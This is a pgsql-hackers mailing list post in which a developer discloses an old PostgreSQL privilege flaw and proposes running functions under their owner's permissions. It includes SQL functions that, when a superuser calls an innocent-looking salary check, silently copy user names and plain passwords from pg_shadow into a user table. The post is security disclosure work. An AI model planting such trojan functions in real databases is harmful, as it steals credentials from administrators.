Security again - Mailing list pgsql-hackers

Hi,

    while   playing  around  with  the  new  view  permissions  I
    discovered a security hole. It's an old  one  (checked  under
    6.2.1  and it was already there - so it's not from new code).
    It's a trojan horse.

    Now I know why commercial RDBMS execute PL  procedures  under
    the  permissions of their owner. We must switch to that model
    too in the future.

    Having a table revoked from public like pg_shadow now a  user
    creates some functions.

        create function f1 () returns bool as '
            select nameeq(getpgusername(), ''pgsql'') as ret;
            ' language 'sql';

        create function f2 () returns bool as '
            insert into mypwd select usename, passwd from pg_shadow;
            select ''f''::bool as ret;
            ' language 'sql';

        create function overpaid (EMP) returns bool as '
            select 1 as x where f1() and f2();
            select $1.salary > 17000 as ret;
            ' language 'sql';

    Since  f1() only returns true if the current user is 'pgsql',
    f2() will never  get  evaluated  if  a  non  superuser  calls
    overpaid().   So  overpaid()  will work as expected for users
    and superusers.  But if  ever  called  by  'pgsql',  it  will
    silently  copy the user names and plain passwords into mypwd.

    If we ever open the rule system or views to  ordinary  users,
    they  could  arrange  that such a function construct would be
    executed on a simple SELECT from one  of  their  tables.  And
    f1() could be smarter and return true if any superuser or the
    table owner is the current user.

    All this can also be done with triggers. So there cannot be a
    trusted  procedural  language  as  long  as  we  don't have a
    uid/euid model where functions, trigger procedures  and  rule
    actions   get   checked  against  their  owner.  The  skipAcl
    implemented now for views is a  step  forward  but  it  isn't
    enough.

    I  think  this  is  far too much for 6.3. But I would like to
    work on it for 6.4 so we can grant rule  creation  (including
    views) to users someday.


Until later, Jan

--

#======================================================================#
# It's easier to get forgiveness for being wrong than for being right. #
# Let's break this rule - forgive me.                                  #
#======================================== jwieck@debis.com (Jan Wieck) #